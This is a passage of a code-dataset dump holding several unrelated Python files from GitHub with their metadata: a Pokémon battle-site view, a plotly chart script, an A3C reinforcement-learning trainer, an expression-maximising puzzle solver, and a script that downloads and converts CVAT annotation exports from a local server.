.filter(db.BankTransaction.trainer_id != trainer.id)\n .count()\n )\n\n if pending_transactions:\n if pending_transactions == 1:\n message = 'There is 1 pending bank transaction to approve'\n else:\n message = ('There are {} pending bank transactions to approve'\n .format(pending_transactions))\n\n mod_stuff.append((message, '/bank/approve'))\n\n # See if there are any battles to approve\n pending_battles = (\n db.DBSession.query(db.Battle)\n .filter_by(needs_approval=True)\n .all()\n )\n\n # Count up the ones they can actually approve, i.e. weren't involved in\n # XXX Filter those out in the query?\n pending_battles = sum(\n 1 for battle in pending_battles\n if request.has_permission('battle.approve', battle)\n )\n\n if pending_battles:\n if pending_battles == 1:\n message = 'There is 1 closed battle awaiting approval'\n else:\n message = ('There are {} closed battles awaiting approval'\n .format(pending_battles))\n\n mod_stuff.append((message, '/battles#waiting'))\n\n stuff['mod_stuff'] = mod_stuff\n\n return stuff\n", "repo_name": "CatTrinket/tcod-asb", "sub_path": "asb/views/misc.py", "file_name": "misc.py", "file_ext": "py", "file_size_in_byte": 6738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "asb.db.DBSession.query", "line_number": 30, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 30, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 30, "usage_type": "name"}, {"api_name": "sqlalchemy.func.max", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 30, "usage_type": "attribute"}, {"api_name": "asb.db.PokemonSpecies", "line_number": 30, "usage_type": "attribute"}, {"api_name": "asb.db.DBSession.query", "line_number": 36, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 36, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 36, "usage_type": "name"}, {"api_name": "asb.db.PokemonSpecies", "line_number": 36, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 37, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 40, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 42, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 50, "usage_type": "call"}, {"api_name": "pyramid.httpexceptions.HTTPError", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pyramid.httpexceptions", "line_number": 50, "usage_type": "name"}, {"api_name": "asb.db.DBSession.query", "line_number": 68, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 68, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 68, "usage_type": "name"}, {"api_name": "asb.db.NewsPost", "line_number": 68, "usage_type": "attribute"}, {"api_name": "asb.db.NewsPost.post_time.desc", "line_number": 69, "usage_type": "call"}, {"api_name": "asb.db.NewsPost", "line_number": 69, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 69, "usage_type": "name"}, {"api_name": "asb.db.DBSession.query", "line_number": 95, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 95, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 95, "usage_type": "name"}, {"api_name": "asb.db.Pokemon", "line_number": 95, "usage_type": "attribute"}, {"api_name": "asb.db.DBSession.query", "line_number": 108, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 108, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 108, "usage_type": "name"}, {"api_name": "asb.db.BankTransaction", "line_number": 108, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.count", "line_number": 108, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 108, "usage_type": "attribute"}, {"api_name": "asb.db.BankTransaction", "line_number": 110, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 110, "usage_type": "name"}, {"api_name": "asb.db.BankTransaction", "line_number": 111, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 111, "usage_type": "name"}, {"api_name": "asb.db.DBSession.query", "line_number": 148, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 148, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 148, "usage_type": "name"}, {"api_name": "asb.db.BankTransaction", "line_number": 148, "usage_type": "attribute"}, {"api_name": "asb.db.BankTransaction", "line_number": 150, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 150, "usage_type": "name"}, {"api_name": "asb.db.DBSession.query", "line_number": 165, "usage_type": "call"}, {"api_name": "asb.db.DBSession", "line_number": 165, "usage_type": "attribute"}, {"api_name": "asb.db", "line_number": 165, "usage_type": "name"}, {"api_name": "asb.db.Battle", "line_number": 165, "usage_type": "attribute"}, {"api_name": "pyramid.view.view_config", "line_number": 61, "usage_type": "call"}]} {"seq_id": "4333984792", "text": "import pandas as pd\nimport plotly.graph_objects as go\n\ndf = pd.read_csv('../stats/stats.csv')\n\nfig = go.Figure(go.Scatter(x = df['Name'], y = df['@Conditional'],\n name='Number of @Conditional'))\n\nfig.update_layout(title='Apple Share Prices over time (2014)',\n plot_bgcolor='rgb(230, 230,230)',\n showlegend=True)\n\nfig.show()", "repo_name": "brandonfl/SpringProjectDriller", "sub_path": "rimel/graph_drawer.py", "file_name": "graph_drawer.py", "file_ext": "py", "file_size_in_byte": 376, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 4, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 6, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 6, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 6, "usage_type": "call"}]} {"seq_id": "5264453167", "text": "import gym\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.distributions import Categorical\nimport torch.multiprocessing as mp\nimport time\nimport sys\nsys.path.append(\".\")\nfrom args.config import default_params as params\n\n\nclass ActorCritic(nn.Module):\n def __init__(self):\n super(ActorCritic, self).__init__()\n self.fc1 = nn.Linear(4, 256)\n self.fc_pi = nn.Linear(256, 2)\n self.fc_v = nn.Linear(256, 1)\n\n def pi(self, x, softmax_dim=0):\n x = F.relu(self.fc1(x))\n x = self.fc_pi(x)\n prob = F.softmax(x, dim=softmax_dim)\n return prob\n\n def v(self, x):\n x = F.relu(self.fc1(x))\n v = self.fc_v(x)\n return v\n\n\ndef train(global_model, rank, learning_rate, gamma, max_train_ep,\n update_interval):\n local_model = ActorCritic()\n local_model.load_state_dict(global_model.state_dict())\n\n optimizer = optim.Adam(global_model.parameters(), lr=learning_rate)\n\n env = gym.make(params['gym_env'])\n\n for n_epi in range(max_train_ep):\n done = False\n s = env.reset()\n while not done:\n s_lst, a_lst, r_lst = [], [], []\n for t in range(update_interval):\n prob = local_model.pi(torch.from_numpy(s).float())\n m = Categorical(prob)\n a = m.sample().item()\n s_prime, r, done, info = env.step(a)\n\n s_lst.append(s)\n a_lst.append([a])\n r_lst.append(r)\n\n s = s_prime\n if done:\n break\n\n s_final = torch.tensor(s_prime, dtype=torch.float)\n R = 0.0 if done else local_model.v(s_final).item()\n td_target_lst = []\n for reward in r_lst[::-1]:\n R = gamma * R + reward\n td_target_lst.append([R])\n td_target_lst.reverse()\n\n s_batch, a_batch, td_target = torch.tensor(s_lst, dtype=torch.float), torch.tensor(a_lst), \\\n torch.tensor(td_target_lst)\n advantage = td_target - local_model.v(s_batch)\n\n pi = local_model.pi(s_batch, softmax_dim=1)\n pi_a = pi.gather(1, a_batch)\n loss = -torch.log(pi_a) * advantage.detach() + \\\n F.smooth_l1_loss(local_model.v(s_batch), td_target.detach())\n\n optimizer.zero_grad()\n loss.mean().backward()\n for global_param, local_param in zip(global_model.parameters(),\n local_model.parameters()):\n global_param._grad = local_param.grad\n optimizer.step()\n local_model.load_state_dict(global_model.state_dict())\n\n env.close()\n print(\"Training process {} reached maximum episode.\".format(rank))\n\n\ndef test(global_model, max_test_ep):\n env = gym.make(params['gym_env'])\n score = 0.0\n print_interval = params['print_interval']\n\n for n_epi in range(max_test_ep):\n done = False\n s = env.reset()\n score = 0.0\n\n while not done:\n prob = global_model.pi(torch.from_numpy(s).float())\n a = Categorical(prob).sample().item()\n s_prime, r, done, info = env.step(a)\n s = s_prime\n score += r\n if n_epi % print_interval == 0:\n with open(\"./result/a3c.csv\", \"a+\", encoding=\"utf-8\") as f:\n f.write(\"{},{}\\n\".format(n_epi, score / print_interval))\n print(\"episode :{}, average score : {:.1f}\".format(n_epi,\n score / print_interval))\n score = 0.0\n time.sleep(1)\n env.close()\n\n\nclass a3c_algo():\n def __init__(self):\n super(a3c_algo, self).__init__()\n self.learning_rate = params['learning_rate']\n self.gamma = params['gamma']\n self.global_model = ActorCritic()\n self.global_model.share_memory()\n self.processes = []\n self.max_test_ep = params['max_test_ep']\n self.max_train_ep = params['max_train_ep']\n self.upadte_interval = params['update_interval']\n self.n_train_processes = params['n_train_processes']\n\n def init_write(self):\n with open(\"./result/a3c.csv\", \"w+\", encoding=\"utf-8\") as f:\n f.write(\"epoch_number,average reward\\n\")\n\n def train(self):\n self.init_write()\n for rank in range(self.n_train_processes + 1): # + 1 for test process\n if rank == 0:\n p = mp.Process(target=test,\n args=(self.global_model, self.max_test_ep))\n else:\n p = mp.Process(target=train,\n args=(self.global_model, rank,\n self.learning_rate, self.gamma,\n self.max_train_ep, self.upadte_interval))\n p.start()\n self.processes.append(p)\n for p in self.processes:\n p.join()\n\n\nif __name__ == \"__main__\":\n algo = a3c_algo()\n algo.train()", "repo_name": "ChangQingAAS/Deep_Reinforcement_Learning", "sub_path": "single_agent/algo/a3c.py", "file_name": "a3c.py", "file_ext": "py", "file_size_in_byte": 5093, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 38, "usage_type": "name"}, {"api_name": "gym.make", "line_number": 40, "usage_type": "call"}, {"api_name": "args.config.default_params", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.distributions.Categorical", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn.functional.smooth_l1_loss", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 76, "usage_type": "name"}, {"api_name": "gym.make", "line_number": 91, "usage_type": "call"}, {"api_name": "args.config.default_params", "line_number": 91, "usage_type": "name"}, {"api_name": "args.config.default_params", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.distributions.Categorical", "line_number": 102, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 112, "usage_type": "call"}, {"api_name": "args.config.default_params", "line_number": 119, "usage_type": "name"}, {"api_name": "args.config.default_params", "line_number": 120, "usage_type": "name"}, {"api_name": "args.config.default_params", "line_number": 124, "usage_type": "name"}, {"api_name": "args.config.default_params", "line_number": 125, "usage_type": "name"}, {"api_name": "args.config.default_params", "line_number": 126, "usage_type": "name"}, {"api_name": "args.config.default_params", "line_number": 127, "usage_type": "name"}, {"api_name": "torch.multiprocessing.Process", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 137, "usage_type": "name"}, {"api_name": "torch.multiprocessing.Process", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 140, "usage_type": "name"}]} {"seq_id": "7294208670", "text": "from itertools import permutations\r\n\r\n\r\ndef opertaion(temp, operand):\r\n stack = []\r\n calculate = False\r\n\r\n for i, symbol in enumerate(temp):\r\n if calculate:\r\n stack.pop()\r\n num1 = stack.pop()\r\n num2 = symbol\r\n calculate = False\r\n\r\n if operand == '-':\r\n stack.append(num1 - num2)\r\n if operand == '*':\r\n stack.append(num1 * num2)\r\n if operand == '+':\r\n stack.append(num1 + num2)\r\n continue\r\n if symbol == operand:\r\n calculate = True\r\n\r\n stack.append(symbol)\r\n\r\n return stack\r\n\r\n\r\ndef solution(expression):\r\n symbols = []\r\n temp = ''\r\n for e in expression:\r\n if e in '-*+':\r\n symbols.append(int(temp))\r\n symbols.append(e)\r\n temp = ''\r\n else:\r\n temp += e\r\n symbols.append(int(temp))\r\n orders = list(permutations('-*+', 3))\r\n result = []\r\n\r\n for order in orders:\r\n first, second, third = order\r\n temp = symbols[:]\r\n\r\n temp = opertaion(temp, first)\r\n temp = opertaion(temp, second)\r\n temp = opertaion(temp, third)\r\n result.append(abs(*temp))\r\n answer = max(result)\r\n return answer\r\n\r\n\r\nexpression = \"50*6-3*2\"\r\nprint(solution(expression))\r\n", "repo_name": "bibersay/Algorithm", "sub_path": "programmers/67257_equation maximizing.py", "file_name": "67257_equation maximizing.py", "file_ext": "py", "file_size_in_byte": 1338, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.permutations", "line_number": 41, "usage_type": "call"}]} {"seq_id": "14110660733", "text": "import datetime\nimport os\nimport shutil\nimport time\nimport zipfile\nfrom typing import Tuple\n\nimport numpy as np\nimport pandas\nimport requests\nfrom obb_anns import OBBAnns\nfrom tqdm import tqdm, trange\nfrom PIL import Image, ImageDraw, ImageFont\nfrom bs4 import BeautifulSoup\nfrom pathlib import Path\n\nfrom pandas import DataFrame\nfrom requests import HTTPError\n\nCVAT_URL = 'localhost:9080'\nORG = 'AutoDidact'\nFORMAT = 'CVAT for video 1.1'\nAUTH_TOKEN = os.environ['AUTH_TOKEN']\nCSRF_TOKEN = os.environ['CSRF_TOKEN']\nSESSION_ID = os.environ['SESSION_ID']\nOUT = Path('out')\nLABELS = 'Bed', 'Staff', 'Devices', 'Patient'\n\ndef download_dataset(task_id: int, folder: Path) -> Tuple[Path, bool]:\n out = folder / f\"{task_id}\"\n done_flag = out / '.done'\n if done_flag.exists():\n return out, False\n zip_path = out.with_name(f\"{task_id}.zip\")\n if zip_path.exists():\n zip_path.unlink()\n url = f\"http://{CVAT_URL}/api/tasks/{task_id}?org={ORG}\"\n headers0 = {\n \"Host\": \"localhost:9080\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; rv:105.0) Gecko/20100101 Firefox/105.0\",\n \"Accept\": \"application/json, text/plain, */*\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Referer\": url,\n \"Authorization\": f\"Token {AUTH_TOKEN}\",\n \"X-CSRFTOKEN\": CSRF_TOKEN,\n \"DNT\": \"1\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": f\"csrftoken={CSRF_TOKEN}; sessionid={SESSION_ID}\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"same-origin\",\n }\n resp0 = requests.get(url, headers=headers0)\n resp0.raise_for_status()\n meta = resp0.json()\n if meta['status'] != 'validation':\n shutil.rmtree(str(out), ignore_errors=True)\n raise Exception(\" -> Task not done yet\")\n if out.exists():\n done_flag.touch(exist_ok=True)\n return out, False\n url = f\"http://{CVAT_URL}/api/tasks/{task_id}/dataset?org={ORG}&format={FORMAT}\"\n headers = {\n \"Host\": \"localhost:9080\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; rv:105.0) Gecko/20100101 Firefox/105.0\",\n \"Accept\": \"application/json, text/plain, */*\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Referer\": url,\n \"Authorization\": f\"Token {AUTH_TOKEN}\",\n \"X-CSRFTOKEN\": CSRF_TOKEN,\n \"DNT\": \"1\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": f\"csrftoken={CSRF_TOKEN}; sessionid={SESSION_ID}\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"same-origin\",\n }\n requests.get(url, headers=headers).raise_for_status()\n print(\"Requesting dataset export:\")\n for _ in range(19):\n resp = requests.get(url, headers=headers)\n resp.raise_for_status()\n if resp.status_code == 202:\n # Accepted\n print('.', end='')\n elif resp.status_code == 201:\n # Created\n print()\n break\n time.sleep(1)\n else:\n raise Exception(\"Failed to get the dataset within 20s\")\n\n url2 = f\"{url}&action=download\"\n headers2 = {\n \"Host\": \"localhost:9080\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; rv:105.0) Gecko/20100101 Firefox/105.0\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Referer\": url,\n \"DNT\": \"1\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": f\"csrftoken={CSRF_TOKEN}; sessionid={SESSION_ID}\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"Sec-Fetch-Dest\": \"document\",\n \"Sec-Fetch-Mode\": \"navigate\",\n \"Sec-Fetch-Site\": \"same-origin\",\n }\n print(\"Downloading dataset:\")\n resp2 = requests.get(url2, headers=headers2)\n resp2.raise_for_status()\n out.parent.mkdir(parents=True, exist_ok=True)\n with open(zip_path, 'wb') as fp:\n fp.write(resp2.content)\n with zipfile.ZipFile(zip_path, 'r') as zip_ref:\n zip_ref.extractall(out)\n zip_path.unlink()\n done_flag.touch(exist_ok=True)\n return out, True\n\ndef read_data_subset(subset_folder: Path, task_id: int) -> dict:\n assert subset_folder.is_dir()\n xml = BeautifulSoup(open(subset_folder / 'annotations.xml', 'r'), \"xml\")\n labels = {}\n for label in xml.select('annotations meta task labels label'):\n labels[label.select_one('name').text] = label.select_one('color').text\n assert labels.keys() == set(LABELS)\n source = xml.select_one('annotations meta source').text\n data = {\n 'version': xml.select_one('annotations version').text,\n 'labels': labels,\n 'size': int(xml.select_one('annotations meta task size').text),\n }\n assert len(list((subset_folder / 'images').rglob('*.PNG'))) == int(data['size'])\n gt = []\n for track in xml.select('annotations track'):\n assert track['label'] in LABELS\n for box in track.select('box'):\n x0 = float(box['xtl'])\n y0 = float(box['ytl'])\n x1 = float(box['xbr'])\n y1 = float(box['ybr'])\n cx = (x0 + x1) / 2\n cy = (y0 + y1) / 2\n w = x1 - x0\n h = y1 - y0\n rot = float(box.get('rotation', \"0.0\"))\n if h > w:\n w, h = h, w\n rot += 90\n rot %= 180\n gt.append({\n 'task': task_id,\n 'frame': int(box['frame']),\n 'source': source,\n 'label': LABELS.index(track['label']),\n 'cx': cx,\n 'cy': cy,\n 'w': w,\n 'h': h,\n 'rotation': rot,\n })\n if len(gt) > 0:\n data['gt'] = DataFrame(gt).set_index(['task', 'frame']).sort_index()\n else:\n data['gt'] = DataFrame(\n columns=['task', 'frame', 'source', 'label', 'cx', 'cy', 'w', 'h', 'rotation']\n ).set_index(['task', 'frame'])\n shutil.rmtree(str(subset_folder), ignore_errors=True)\n return data\n\ndef concat_data_subsets(dataset: dict, extension: dict) -> dict:\n if len(dataset) == 0:\n dataset = {\n 'version': extension['version'],\n 'labels': extension['labels'],\n 'size': 0,\n 'gt': DataFrame(columns=extension['gt'].columns),\n }\n assert dataset['labels'] == extension['labels']\n dataset['size'] += extension['size']\n dataset['gt'] = pandas.concat([dataset['gt'], extension['gt']])\n return dataset\n\n\ndef rotate(arr: np.ndarray, angle: float) -> np.ndarray:\n ar = arr.copy()\n theta = np.radians(angle)\n c, s = np.cos(theta), np.sin(theta)\n R = np.array(((c, -s), (s, c)))\n center = np.array([np.mean(arr.T[0]), np.mean(arr.T[1])])\n ar = ar.reshape((4, 2)) - center\n ar = ar.dot(R) + center\n return ar\n\ndef draw_bbox(draw: ImageDraw.ImageDraw, cx: float, cy: float, w: float, h: float, rot: float, color: str, size: Tuple[int, int], label: str = None):\n xtl = cx - w/2\n ytl = cy - h/2\n xbr = cx + w/2\n ybr = cy + h/2\n bbox = rotate(np.array([(xtl, ytl), (xbr, ytl), (xbr, ybr), (xtl, ybr)]), rot)\n draw.line(list(map(tuple, np.concatenate([bbox, bbox[0:1]]).tolist())), fill=color, width=3)\n if label is not None:\n x0 = np.min(bbox.T[0])\n y0 = np.min(bbox.T[1])\n _, _, x1, y1 = ImageFont.load_default().getbbox(label)\n x1 += x0 + 4\n y1 += y0 + 4\n if x1 > size[0]:\n diff = x1 - size[0]\n x0 -= diff\n if y1 > size[1]:\n diff = y1 - size[1]\n y0 -= diff\n draw.rectangle((x0, y0, x1, y1), fill='#303030')\n draw.text((x0 + 2, y0 + 2), label, color)\n\ndef idx_to_img_path(task: int, frame: int) -> Path:\n return Path(f\"frame_{frame:06}.PNG\")\n\ndef visualize_sample(idx: Tuple[int, int], data: dict, folder: Path, save_to_disk: bool = False) -> Image.Image:\n task, frame = idx\n out = folder / str(task) / 'visualized'\n out.mkdir(exist_ok=True)\n img_path = folder / str(task) / 'images' /idx_to_img_path(*idx)\n assert img_path.exists()\n vis_path = out / img_path.name\n img = Image.open(img_path)\n # img = img.convert('RGBA')\n draw = ImageDraw.Draw(img)\n ann = data['gt'].loc[[idx]]\n for (task, frame), (source, label, cx, cy, w, h, rot) in ann.iterrows():\n cls = LABELS[int(label)]\n col = data['labels'][cls]\n draw_bbox(draw, cx, cy, w, h, rot, col, img.size, cls)\n if save_to_disk:\n img.save(vis_path)\n return img\n\ndef visualize_dataset(data: dict, folder: Path, save_to_disk: bool = True):\n print('Visualizing dataset')\n index = data['gt'].index.unique()\n for idx in tqdm(index):\n visualize_sample(idx, data, folder, save_to_disk=save_to_disk)\n\ndef export_dataset(data: dict, folder: Path) -> Tuple[OBBAnns, OBBAnns, OBBAnns]:\n index = data['gt'].index.unique()\n total = len(index)\n files = {\n 'train': 0.70,\n 'val': 0.15,\n 'test': 0.15,\n }\n idx = 0\n for dataset_name, ratio in files.items():\n count = int(total * ratio)\n files[dataset_name] = (idx, idx + count)\n idx += count\n files[dataset_name] = (files[dataset_name][0], total)\n anns = []\n with tqdm(total=total) as bar:\n for dataset_name, (idx0, idx1) in files.items():\n df = data['gt'].loc[index[idx0:idx1]]\n ann, should_save = to_obb_anns(df, data, folder, dataset_name, bar)\n ann_str = str(ann).replace('\\n', ', ')\n if should_save:\n ann.save_annotations()\n bar.write(f\"Extended the {dataset_name} set: {ann_str}\")\n else:\n bar.write(f\"Created the {dataset_name} set: {ann_str}\")\n anns.append(ann)\n return tuple(anns)\n\ndef to_obb_anns(df: DataFrame, meta: dict, folder: Path, name: str, bar: tqdm = None) -> Tuple[OBBAnns, bool]:\n base_dir = Path('data', f\"{ORG}_{name}\".lower())\n img_dir = base_dir / 'images'\n vis_dir = base_dir / 'visualizations'\n ann_file = (base_dir / 'annotations.json')\n ANN_SET = 'autodidact'\n ann = OBBAnns(ann_file)\n check_if_sample_exists = False\n added_samples = False\n if ann_file.exists():\n # Assume we want to add new samples to an existing dataset\n ann.load_annotations()\n check_if_sample_exists = True\n else:\n # Assume we want to create the dataset from scratch\n shutil.rmtree(img_dir, ignore_errors=True)\n shutil.rmtree(vis_dir, ignore_errors=True)\n ann.dataset_info = {\n 'description': f'Autodidact {name} dataset',\n 'version': '1.0',\n 'year': datetime.datetime.now().year,\n 'contributor': 'Raphael Emberger, Daniel Baumann, Seric Marko, Huo Shufan',\n 'date_created': datetime.datetime.now().strftime('%Y/%m/%d'),\n }\n ann.ann_info = DataFrame(columns=['a_bbox', 'o_bbox', 'cat_id', 'area', 'img_id', 'comments'])\n ann.img_info = []\n ann.annotation_sets = [ANN_SET]\n ann.cat_info = {}\n for i, (cls, col) in enumerate(meta['labels'].items()):\n i_col = int(col.strip('#'), 16)\n r = (i_col & (0xFF << 16)) >> 16\n g = (i_col & (0xFF << 8)) >> 8\n b = i_col & 0xFF\n ann.cat_info[i] = {\n 'name': cls,\n 'annotation_set': ANN_SET,\n 'color': (r, g, b)\n }\n img_dir.mkdir(exist_ok=True, parents=True)\n vis_dir.mkdir(exist_ok=True)\n index = df.index.unique()\n for idx in index:\n task, frame = idx\n orig_img_path = folder / str(task) / 'images' / idx_to_img_path(*idx)\n assert orig_img_path.exists(), f\"Source file does not exist: {orig_img_path}\"\n img_fp = img_dir / f\"task_{task:03}_frame_{frame:06}.png\"\n if check_if_sample_exists and img_fp.exists():\n # Don't add to the set - it already exists\n if bar is not None:\n bar.update()\n continue\n os.link(orig_img_path, img_fp)\n labels = {}\n for i, ((task, frame), (source, label, cx, cy, w, h, rot)) in enumerate(df.loc[[idx]].iterrows()):\n xtl = cx - w/2\n ytl = cy - h/2\n xbr = cx + w/2\n ybr = cy + h/2\n bbox = rotate(np.array([(xtl, ytl), (xbr, ytl), (xbr, ybr), (xtl, ybr)]), rot)\n labels[i] = {\n 'a_bbox': [xtl, ytl, xbr, ybr],\n 'o_bbox': bbox.reshape((8,)).tolist(),\n 'cat_id': [label],\n 'area': w * h,\n 'img_id': -1,\n 'comments': meta['labels'][LABELS[label]],\n }\n with Image.open(img_fp) as img:\n img_id = ann.add_new_img_ann_pair(\n img_fp.name,\n img.width,\n img.height,\n labels,\n )\n ann.visualize(img_id=img_id, out_dir=str(vis_dir), show=False, print_label=True)\n if bar is not None:\n bar.update()\n added_samples = True\n return ann, added_samples\n\n\nif __name__ == '__main__':\n dataset = {}\n for task_id in trange(200):\n is_new = False\n try:\n path, is_new = download_dataset(task_id, OUT)\n except HTTPError as err:\n continue\n except Exception as err:\n tqdm.write(f\"Task {task_id}: {str(err)}\")\n continue\n if is_new:\n dataset = concat_data_subsets(dataset, read_data_subset(path, task_id))\n if len(dataset) == 0:\n print(\"Nothing to do\")\n exit(0)\n train, val, test = export_dataset(dataset, OUT)\n", "repo_name": "raember/s2anet_autodidact", "sub_path": "tools/update_autodidact_dataset.py", "file_name": "update_autodidact_dataset.py", "file_ext": "py", "file_size_in_byte": 13802, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 26, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 29, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 58, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 80, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 83, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 92, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 113, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 118, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 29, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 124, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 126, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 167, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 169, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 172, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 181, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 189, "usage_type": "attribute"}, {"api_name": "numpy.radians", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 194, "usage_type": "call"}, {"api_name": "PIL.ImageDraw.ImageDraw", "line_number": 199, "usage_type": "attribute"}, {"api_name": "PIL.ImageDraw", "line_number": 199, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 208, 